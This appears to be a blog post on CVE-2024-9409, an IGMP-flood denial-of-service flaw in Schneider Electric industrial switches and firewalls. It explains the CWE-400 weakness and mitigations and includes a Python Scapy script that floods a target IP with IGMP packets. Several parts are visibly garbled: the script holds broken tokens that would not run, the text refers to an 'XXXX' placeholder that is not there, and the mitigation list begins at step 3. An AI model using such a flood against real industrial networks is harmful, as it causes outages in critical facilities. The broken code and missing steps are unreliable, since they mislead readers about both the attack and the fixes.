CVE-2024-9409 is a fresh flaw in certain Schneider Electric industrial networking devices. If you have these products around, listen up: feeding them huge numbers of IGMP packets can make them freeze, stop responding, and cut off communication. This means sudden downtime—and possibly serious problems in environments like factories or smart buildings.

This post gives you a clear, step-by-step explanation of how this bug (related to CWE-400: Uncontrolled Resource Consumption) works, how it can be triggered, and how you can protect your gear. We’ll show you sample scripts, reference the original advisories, and go deeper than the official write-ups.

What is CVE-2024-9409?

CVE-2024-9409 is a vulnerability that attackers can exploit just by flooding the network with IGMP requests. IGMP—Internet Group Management Protocol—is used for managing multicast groups in IPv4 networks. Industrial switches and routers caught by this bug don’t handle high volumes of IGMP traffic very well. As a result, their resources get overused and they lock up, dropping all contact.

This is a classic example of CWE-400: Uncontrolled Resource Consumption, also known as a resource exhaustion or "DoS" (Denial of Service) weakness.

Affected Devices

Schneider Electric published an advisory for this issue. The main targets are ConneXium Managed Switches and Firewall Devices. You can check their official security advisory here. (Note: Replace XXXX with the release number once published.)

Type: Uncontrolled Resource Consumption (CWE-400)

- Effect: Device becomes unresponsive and loses communications if hit with a large amount of IGMP packets.
- Attack Complexity: Low — no need for authentication or any special access; just network reachability.
- Impact: Loss of network control in industrial environments. Possible chain reaction in systems that rely on communication.

Why IGMP?

Industrial switches often handle multicast traffic—think alarms, status beacons, live monitoring feeds. IGMP is the protocol that tells devices which multicast streams they should join or leave.

If a device has buggy or under-provisioned IGMP processing, spamming it with a flood of “join” or “leave” packets can fill up its processing queues and memory. When these resources run out, the device crashes or just stops serving.

How to Send IGMP Packets: Exploit Code Example

Here’s a quick Python proof-of-concept using Scapy to simulate the attack, strictly for testing in a safe lab environment:

from scapy.all import IGMP, IP, send

# Target device IP address
target = "192.168.1.100"

# Craft an IGMP Membership Report packet
igmp_pkt = IP(dst=target)/IGMP(type=x16, gaddr="224...1")

# Flood target with packets (adjust range for testing)
for i in range(10000):
    send(igmp_pkt, verbose=)
    if i % 100 == :
        print(f"Sent {i} IGMP packets")

Warning: Do not run this on productive networks. This is for responsible test environments only!

Limit multicast packet rate via network firewall or switch options.

3. Update with vendor firmware patch — see Schneider Electric’s advisory.

References

- Schneider Electric Security Bulletin
- MITRE CVE Entry (CVE-2024-9409) *(will update as published)*
- Common Weakness Enumeration - CWE-400: Uncontrolled Resource Consumption
- What is IGMP? - Cisco

Final Thoughts

CVE-2024-9409 is a wake-up call for anyone running industrial switches in critical networks. Multicast is necessary, but so is robust input filtering on industrial equipment. Until patches are out and deployed, make sure you aren’t exposing your devices to the raw internet or uncontrolled multicast domains.

Keeping your systems safe isn’t just about firewalls, but knowing how even a single protocol storm—like IGMP—can ripple through your most important infrastructure.

*Stay updated, patch regularly, and never underestimate a "simple" resource exhaustion flaw!*

Timeline

Published on: 11/13/2024 05:15:27 UTC
Last modified on: 11/19/2024 15:59:21 UTC